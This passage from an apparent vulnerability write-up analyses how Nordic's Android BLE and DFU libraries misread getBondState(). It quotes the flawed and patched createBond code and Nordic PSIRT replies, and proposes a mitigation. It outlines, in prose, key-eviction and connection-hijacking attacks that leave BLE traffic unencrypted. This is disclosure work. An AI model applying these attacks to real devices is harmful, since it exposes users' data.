com.xiaomi.smarthome</p></li></ul><p>An application that does not rely on Nordic&#8217;s library is Phantom Lock (com.plantraco.coolapps.phantomlock). However, Phantom Lock creates a BLE bond without checking the result of the bonding process. This means the application assumes bonding is successful even when the system reports a failure, which leads to the same type of security issue.</p><p>The vulnerability appears in both of Nordic&#8217;s libraries, so for clarity we will focus on only one of them, the Android DFU Library. The problematic behavior can be found in the class no.nordicsemi.android.dfu/BaseDfuImpl</p><pre><code>/**
&#9; * Creates bond to the device. Works on all APIs since 18th (Android 4.3).
&#9; *
&#9; * @return true if it's already bonded or the bonding has started
&#9; */
&#9;@SuppressWarnings("UnusedReturnValue")
&#9;boolean createBond() {
&#9;&#9;final BluetoothDevice device = mGatt.getDevice();
&#9;&#9;if (device.getBondState() == BluetoothDevice.BOND_BONDED)
&#9;&#9;&#9;return true;

&#9;&#9;boolean result;
&#9;&#9;mRequestCompleted = false;

&#9;&#9;mService.sendLogBroadcast(DfuBaseService.LOG_LEVEL_VERBOSE, "Starting pairing...");
&#9;&#9;if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.KITKAT) {
&#9;&#9;&#9;mService.sendLogBroadcast(DfuBaseService.LOG_LEVEL_DEBUG, "gatt.getDevice().createBond()");
&#9;&#9;&#9;result = device.createBond();
&#9;&#9;} else {
&#9;&#9;&#9;result = createBondApi18(device);
&#9;&#9;}

&#9;&#9;// We have to wait until device is bounded
&#9;&#9;try {
&#9;&#9;&#9;synchronized (mLock) {
&#9;&#9;&#9;&#9;while (!mRequestCompleted &amp;&amp; !mAborted)
&#9;&#9;&#9;&#9;&#9;mLock.wait();
&#9;&#9;&#9;}
&#9;&#9;} catch (final InterruptedException e) {
&#9;&#9;&#9;loge("Sleeping interrupted", e);
&#9;&#9;}
&#9;&#9;return result;
&#9;}</code></pre><p>The Nordic createBond function is used by developers to secure communication between the mobile device and a BLE peripheral, such as a heart rate monitor. Instead of explicitly starting and enforcing an encryption procedure, developers often rely on getBondState() to determine the current bonding status. At first glance, this seems correct, because the Android documentation makes the process appear straightforward and reliable.</p><p>However, the issue arises when the bond state does not accurately reflect the real security state of the connection, which leads to incorrect assumptions about whether encryption is actually enabled.</p><h2><a href="https://developer.android.com/reference/android/bluetooth/BluetoothDevice?source=post_page-----9798ab893b95--------------------------------#getBondState%28%29">BluetoothDevice | Android Developers</a></h2><h3><a href="https://developer.android.com/reference/android/bluetooth/BluetoothDevice?source=post_page-----9798ab893b95--------------------------------#getBondState%28%29">AccessibilityService.MagnificationController.OnMagnificationChangedListener</a></h3><p><a href="https://developer.android.com/reference/android/bluetooth/BluetoothDevice?source=post_page-----9798ab893b95--------------------------------#getBondState%28%29">developer.android.com</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!lkKE!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!lkKE!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 424w, https://substackcdn.com/image/fetch/$s_!lkKE!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 848w, https://substackcdn.com/image/fetch/$s_!lkKE!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 1272w, https://substackcdn.com/image/fetch/$s_!lkKE!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!lkKE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png" width="700" height="271" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:271,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!lkKE!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 424w, https://substackcdn.com/image/fetch/$s_!lkKE!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 848w, https://substackcdn.com/image/fetch/$s_!lkKE!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 1272w, https://substackcdn.com/image/fetch/$s_!lkKE!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F54cb0151-5920-421a-a346-b7112cc5c2f3_700x271.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Class BluetoothDevice , Method getBondState(), Latest Android API</figcaption></figure></div><p>By inspecting the method, nothing appears to be wrong. The function simply returns the bond state of the remote device, and this value can be BOND_NONE, BOND_BONDING, or BOND_BONDED. The problem is that this behavior is misleading. Developers often assume that getBondState() will report the bonding state as it occurred during the most recent bonding attempt. In reality, this is not true.</p><p>To understand why, we need to look more closely at the meaning of the BOND_BONDED state.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!rK_4!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!rK_4!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 424w, https://substackcdn.com/image/fetch/$s_!rK_4!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 848w, https://substackcdn.com/image/fetch/$s_!rK_4!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 1272w, https://substackcdn.com/image/fetch/$s_!rK_4!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!rK_4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png" width="700" height="616" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:616,&quot;width&quot;:700,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!rK_4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 424w, https://substackcdn.com/image/fetch/$s_!rK_4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 848w, https://substackcdn.com/image/fetch/$s_!rK_4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 1272w, https://substackcdn.com/image/fetch/$s_!rK_4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff67a8470-21fd-4f49-a5a3-8494ced0b7dd_700x616.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><a href="https://developer.android.com/reference/android/bluetooth/BluetoothDevice#BOND_BONDED">https://developer.android.com/reference/android/bluetooth/BluetoothDevice#BOND_BONDED</a></figcaption></figure></div><p>The getBondState() function returns the constant BOND_BONDED when a bonding key is stored on the device. However, this does not guarantee that the device is currently bonded with the peripheral. The communication may still be happening in plain text. The presence of the BOND_BONDED state only indicates that the Android system has a stored key for that Bluetooth device, and that this key could be used if bonding is successfully re-established.</p><p>In fact, getBondState() can return BOND_BONDED even when the mobile device is not paired with any device at that moment. This is because the state does not reflect an active secure connection. It only reflects that a key exists somewhere in the system.</p><p>Developers were understandably misled by the Android documentation into believing that getBondState() reports the current bonding state. As a result, many applications assume that BOND_BONDED means &#8220;encryption is active,&#8221; when in reality, it only means &#8220;a key exists,&#8221; even if the recent bonding attempt failed and no encryption is actually being used.</p><h1>The attack</h1><p>There are many vectors to attack. The most obvious one is to attack the peripheral in order to eliminate the slots available for keys. Most BLE chipsets found on every IoT device have limited memory size and thus the old keys (of different devices) are replaced by newer keys. Evicting all previous keys is possible by masquerading the BDADDR and then bond a few hundred times to the targeted peripheral. That way all previous LTK keys are evicted and dump keys are stored on the device. Finally, this will help us to achieve our goal because the bug in the library will not create a bond by default and the user is notified that the connection is secure (we don&#8217;t need to do any further steps, the traffic will be unencrypted without any further action).</p><p>Another attack vector is to hijack the communication before the two paired devices become paired. At the time of a connection request, an adversary could hijack the connection and respond as the peripheral indicating that no keys are stored in the peripheral&#8217;s memory. It is not a very difficult attack to implement as the connection request is initiated on the advertisement channels and those are static (no FHSS).</p><h1>Confusion = Bug = Vulnerability</h1><p>Below, I present several findings about the state of each device, the outcome of Android&#8217;s native createBond() method, and the result that developers would reasonably expect. These observations help clarify how the bonding process behaves in practice, and how the API responses can differ from what most developers assume.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kpZB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kpZB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 424w, https://substackcdn.com/image/fetch/$s_!kpZB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 848w, https://substackcdn.com/image/fetch/$s_!kpZB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 1272w, https://substackcdn.com/image/fetch/$s_!kpZB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kpZB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png" width="650" height="235" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:235,&quot;width&quot;:650,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!kpZB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 424w, https://substackcdn.com/image/fetch/$s_!kpZB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 848w, https://substackcdn.com/image/fetch/$s_!kpZB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 1272w, https://substackcdn.com/image/fetch/$s_!kpZB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdddee2c3-25ef-4083-b3b0-5b8bcf47a20c_650x235.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><figcaption class="image-caption">Bonding FSM Table</figcaption></figure></div><p>As we can see in the final row of the table, when both devices already have bonding keys stored, the createBond() method appears to behave incorrectly by returning false. This makes it difficult for developers to build a reliable and secure bonding workflow, and it often leads to incorrect assumptions in application logic. This is exactly how the bug in the Nordic library was introduced, and unfortunately, it results in a security issue.</p><p>It is important to understand that even though createBond() returns false, the communication is still encrypted and the bond has been successfully re-established. The misleading return value is caused by the asynchronous nature of the bonding process. When examining the internal Bluetooth service, we can see that if the device&#8217;s current state is not BOND_NONE, the method simply returns false. This behavior is confusing for developers, who expect the method to indicate whether bonding has succeeded in the current session, not simply whether a key already exists.</p><h3>The communication with the nordic&#8217;s PSIRT team</h3><blockquote><p><em>&#8230;Our Team confirmed a problem, being able to connect to a device with erased bond information despite the Android showing bond status as BONDED.<br>However, the issue seems to appear from Android side. Method createBond() on Android returns false every time the bond information is present on client (Android) side, also when it&#8217;s present on peripheral side. Therefore, the two situations (valid bond on both sides and bond info on client side, thus unencrypted link) are indistinguishable. &#8230;<br>[</em>Part of Communication with Nordic&#8217;s PSIRT Team<em>]</em></p></blockquote><p>What nordic told me is partly true. When the client has the key but PE does not, its safe and SHOULD return false because returning true would be a major security issue. This is because the user should be warned if the peripheral has no keys (an attack could have been in place otherwise). This could be avoided if a re-paring could be enforced but android does not support such mid-level operations. The answer is partially true as the android indeed provides a confusing return output, as I mentioned before.</p><h2>The first insecure patch</h2><blockquote><p>&#8230;To check if the device is paired (which is not 100% reliable), we do check if CCCD are still enabled after reconnection. That assumes that CCCD state is preserved for bonded devices, which usually is true, and can be faked on a remote device pretending being the one (the same address, CCCD enabled by default).<br>Therefore, it seems that on Android it is not possible to check if you are truly bonded without using some 3rd party encryption mechanism to get this info from the device using GATT.<br>Not checking bond state before calling createBond() will cause an error even if the devices are bonded correctly.<br>We would recommend you to contact Google about this issue&#8230;<br>[Part of Communication with Nordic&#8217;s PSIRT Team]</p></blockquote><p>They already patched the library with a solution that is far away from a secure solution.</p><p>Their change is displayed below (they changed only Android-BLE-Library as the Android-DFU-Library is still un-patched).</p><p>Patched Version of vulnerable function createBond():</p><pre><code>private boolean internalCreateBond() {
    final BluetoothDevice device = bluetoothDevice;
    if (device == null)
        return false;

    log(Log.VERBOSE, "Starting bonding...");

    // Warning: The check below only ensures that the bond information is present on the
    //          Android side, not on both. If the bond information has been remove from the
    //          peripheral side, the code below will notify bonding as success, but in fact the
    //          link will not be encrypted! Currently there is no way to ensure that the link
    //          is secure.
    //          Android, despite reporting bond state as BONDED, creates an unencrypted link
    //          and does not report this as a problem. Calling createBond() on a valid,
    //          encrypted link, to ensure that the link is encrypted, returns false (error).
    //          The same result is returned if only the Android side has bond information,
    //          making both cases indistinguishable.
    //
    // Solution: To make sure that sensitive data are sent only on encrypted link make sure
    //           the characteristic/descriptor is protected and reading/writing to it will
    //           initiate bonding request.
    if (device.getBondState() == BluetoothDevice.BOND_BONDED) {
        log(Log.WARN, "Bond information present on client, skipping bonding");
        request.notifySuccess(device);
        nextRequest(true);
        return true;
    }

    if (Build.VERSION.SDK_INT &gt;= Build.VERSION_CODES.KITKAT) {
        log(Log.DEBUG, "device.createBond()");
        return device.createBond();
    } else {
        /*
         * There is a createBond() method in BluetoothDevice class but for now it's hidden.
         * We will call it using reflections. It has been revealed in KitKat (Api19).
         */
        try {
            final Method createBond = device.getClass().getMethod("createBond");
            log(Log.DEBUG, "device.createBond() (hidden)");
            //noinspection ConstantConditions
            return (Boolean) createBond.invoke(device);
        } catch (final Exception e) {
            Log.w(TAG, "An exception occurred while creating bond", e);
        }
    }
    return false;
}</code></pre><p>I find their solution a bit naive. It does not solve the problem and assumes the peripheral has a client characteristic configuration descriptor (this could also be faked). This is insecure.</p><h2>Attack Mitigation and a recommended patch</h2><p>I suggested a mitigation technique that is easy to implement and will secure the application until google fixes their framework. My recommended mitigation is to invoke android&#8217;s native createBond() each time the user wishes to have encrypted communication and then check the result. Then, check the current bond state.</p><p>If the result is false and the bond state is BOND_BONDED, just remove the key and try again.</p><p>If it fails and the bond state is BOND_NONE, then it just failed and now you may terminate the connection to protect the user&#8217;s privacy.</p><p>To understand how this can be solved, let&#8217;s examine the tables below:</p><p>Before erasing the bond key</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iQ3X!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iQ3X!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 424w, https://substackcdn.com/image/fetch/$s_!iQ3X!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 848w, https://substackcdn.com/image/fetch/$s_!iQ3X!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 1272w, https://substackcdn.com/image/fetch/$s_!iQ3X!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iQ3X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png" width="646" height="232" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:232,&quot;width&quot;:646,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!iQ3X!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 424w, https://substackcdn.com/image/fetch/$s_!iQ3X!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 848w, https://substackcdn.com/image/fetch/$s_!iQ3X!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 1272w, https://substackcdn.com/image/fetch/$s_!iQ3X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F56d962d9-d0f1-4181-bca5-b73259459af0_646x232.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>After erasing the bond key</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Z6AY!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Z6AY!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 424w, https://substackcdn.com/image/fetch/$s_!Z6AY!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 848w, https://substackcdn.com/image/fetch/$s_!Z6AY!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 1272w, https://substackcdn.com/image/fetch/$s_!Z6AY!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Z6AY!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png" width="646" height="230" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/67aea002-684c-4288-a671-db77e089b240_646x230.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:230,&quot;width&quot;:646,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!Z6AY!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 424w, https://substackcdn.com/image/fetch/$s_!Z6AY!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F67aea002-684c-4288-a671-db77e089b240_646x230.png 848w, 